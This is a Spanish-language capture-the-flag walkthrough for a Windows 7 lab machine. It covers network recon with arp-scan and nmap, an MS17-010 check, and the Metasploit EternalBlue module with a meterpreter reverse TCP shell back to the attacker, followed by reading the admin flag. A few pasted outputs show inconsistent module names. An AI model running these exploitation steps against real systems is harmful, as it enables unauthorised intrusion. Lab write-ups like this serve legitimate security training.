

Microshoft

Paso 1

Una vez levantado la máquina .ova en otra ventana de vmware o en virtualbox procedemos a hacer el reconocimiento.

Usamos `arp-scan` para buscar en nuestra red local e identificar la IP de la máquina Windows que estamos ejecutando en segundo plano, con el siguiente comando:

```
sudo arp-scan --localnet
```

Resultado:

Al saber que es en VMware me fui directamente a probar esa IP

Así que probé con un ping para verificar si era el Windows que estamos buscando.

ping -c IP

Resultado:

ttl=128
ttl=128
ttl=128

Observamos que tiene un ttl=128 por lo que verificamos que es un Windows.

Paso 2

Una vez verificada la IP de la máquina procedemos a realizar a usar `nmap` para ver más información sobre la máquina:

```
sudo nmap -p- -sC -sV --min-rate 5000 -vvv --open -sS -n -Pn IP -oN escaneo
```

Resultado:

PORT	STATE	SERVICE	REASON	VERSION
135/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
139/tcp	open	netbios-ssn	syn-ack ttl 128	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	syn-ack ttl 128	Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
49153/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
49154/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
49155/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
49156/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC
49158/tcp	open	msrpc	syn-ack ttl 128	Microsoft Windows RPC

Lo que nos interesa aquí es el puerto 445 y ver si es vulnerable a `eternalblue`.

Paso 3

Usamos nuevamente `nmap` para ver si es vulnerable a `eternalblue` con el siguiente comando:

```
sudo nmap --script smb-vuln-ms17-010 -p 445 IP
```

Resultado:

```
PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: [REDACTED] (VMware)

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|       State: VULNERABLE
|       IDs:  CVE:CVE-2017-0143
|       Risk factor: HIGH
|         A critical remote code execution vulnerability exists in Microsoft SMBv1
|         servers (ms17-010).
|
|       Disclosure date: 2017-03-14
|       References:
|         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|         https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|         https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|
Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds
```

El resultado nos dice que esta máquina si es vulnerable a `eternalblue`. Para agilizar el proceso usaremos `metasploit`.

Paso 4

Para abrir `metasploit` usamos el siguiente comando:

```
msfconsole
```

```
msfconsole
Archivo Editar Ver Buscar Terminal Ayuda
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...
YOU DIDN'T SAY THE MAGIC WORD!

      =[ metasploit v6.3.44-dev
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post
+ -- --=[ 1388 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
[msf](Jobs:0 Agents:0) >> search ms17_010
```

Una vez dentro de `metasploite` buscamos algún exploit con `eternalblue` usamos el mismo que nos dio `nmap` que es `ms17_010`:

```
search ms17_010
```

El resultado que nos da es el siguiente:

Matching Modules						
#	Name	Disclosure Date	Rank	Check	Description	
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption	
1	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution	
2	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution	
3	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010 SMB RCE Detection	

Usaremos el exploit 0 por lo que usaremos estos comandos:

```
> msfconsole
```

Con este comando usamos metasploit.

```
> search ms17_010
```

Este comando sirve para buscar la vulnerabilidad.

```
> use 0
```

Le indicamos el numero del exploit a usar.

```
> show options
```

Le indicamos las opciones con las que funciona este exploit.

```
> set RHOSTS IP (EJEMPLO - 0.0.0.0.0)
```

Con este comando Le indicamos la ip que queremos atacar.

```
> exploit
```

Con este comando lanzamos el exploit.

Resultado:

```
[msf]:(Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
[msf]:(Jobs:0 Agents:0) exploit(windows/smb/ms17_010_ternalblue) >> show options

Module options (exploit/windows/smb/ms17_010_ternalblue):
=====
Name      Current Setting  Required  Description
----      -----          ----- 
RHOSTS           yes        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT            445       yes       The target port (TCP)
SMBDomain        no        no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass          no        no        (Optional) The password for the specified username
SMBUser          no        no        (Optional) The username to authenticate as
VERIFY_ARCH      true      yes      Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET    true      yes      Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):
=====
```

```

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
----      -----          ----- 
EXITFUNC  thread         yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.1.17    yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   Automatic Target

View the full module info with the info, or info -d command.

```

Resultado:

```

[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_永恒之蓝) >> set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_永恒之蓝) >> exploit

[*] Started reverse TCP handler on [REDACTED]:4444
[*] [REDACTED]:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] [REDACTED]:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] [REDACTED]:445      - Scanned 1 of 1 hosts (100% complete)
[+] [REDACTED]:445      - The target is vulnerable.
[*] [REDACTED]:445      - Connecting to target for exploitation.
[+] [REDACTED]:445      - Connection established for exploitation.
[+] [REDACTED]:445      - Target OS selected valid for OS indicated by SMB reply
[*] [REDACTED]:445      - CORE raw buffer dump (40 bytes)
[*] [REDACTED]:445      - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] [REDACTED]:445      - 0x00000010 61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63 asic 7601 Servic
[*] [REDACTED]:445      - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
[+] [REDACTED]:445      - Target arch selected valid for arch indicated by DCE/RPC reply
[*] [REDACTED]:445      - Trying exploit with 12 Groom Allocations.
[*] [REDACTED]:445      - Sending all but last fragment of exploit packet
[*] [REDACTED]:445      - Starting non-paged pool grooming
[+] [REDACTED]:445      - Sending SMBv2 buffers
[+] [REDACTED]:445      - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] [REDACTED]:445      - Sending final SMBv2 buffers.

```

Paso 5

Una vez el proceso termine es exitoso ya estamos dentro de la máquina Windows ahora toca la escalada de privilegios.

```
shell
```

Usamos ese comando para utilizar shell como terminal en vez de Meterpreter

```

(Meterpreter 1)(C:\Windows\system32) > shell
Process 1656 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ls

```

Procedemos a navegar a donde están los usuarios:

```
cd C:\Users
```

Luego en los usuarios listamos con `dir`

```
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is 44E2-21EC

Directory of C:\Users

03/28/2024  05:52 PM    <DIR>      .
03/28/2024  05:52 PM    <DIR>      ..
03/28/2024  05:36 PM    <DIR>      Admin
03/28/2024  05:52 PM    <DIR>      Lola
07/14/2009  05:54 AM    <DIR>      Public
                           0 File(s)          0 bytes
                           5 Dir(s)  22,904,246,272 bytes free
```

Podemos observar los diferentes usuarios existentes

Nos movemos hacia el usuario Admin:

```
cd Admin
```

```
C:\Users>cd Admin
cd Admin

C:\Users\Admin>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 44E2-21EC

Directory of C:\Users\Admin

03/28/2024  05:36 PM    <DIR>      .
03/28/2024  05:36 PM    <DIR>      ..
03/28/2024  05:36 PM    <DIR>      Contacts
03/28/2024  05:50 PM    <DIR>      Desktop
03/28/2024  05:36 PM    <DIR>      Documents
03/28/2024  05:36 PM    <DIR>      Downloads
03/28/2024  05:36 PM    <DIR>      Favorites
03/28/2024  05:36 PM    <DIR>      Links
03/28/2024  05:36 PM    <DIR>      Music
03/28/2024  05:36 PM    <DIR>      Pictures
03/28/2024  05:36 PM    <DIR>      Saved Games
03/28/2024  05:36 PM    <DIR>      Searches
03/28/2024  05:36 PM    <DIR>      Videos
              0 File(s)          0 bytes
           13 Dir(s)  22,904,246,272 bytes free
```

Para agilizar la búsqueda del .txt usamos un comando para agilizar el proceso:

```
dir C:\Users\admin.txt.txt /s
```

```
C:\Users\Admin>dir C:\admin.txt.txt /s
dir C:\admin.txt.txt /s
Volume in drive C has no label.
Volume Serial Number is 44E2-21EC

Directory of C:\Users\Admin\Desktop

03/28/2024  05:51 PM           32 admin.txt.txt
                  1 File(s)      32 bytes

Total Files Listed:
                  1 File(s)      32 bytes
                  0 Dir(s)  22,490,750,976 bytes free
```

```
C:\Users\Admin>
```

```
C:\Users\Admin\Desktop>type admin.txt.txt
type admin.txt.txt
ff4ad2daf333183677e02bf8f67d4dca
C:\Users\Admin\Desktop>
```

Hacemos lo mismo para la flag del user llamado Lola

Y listo!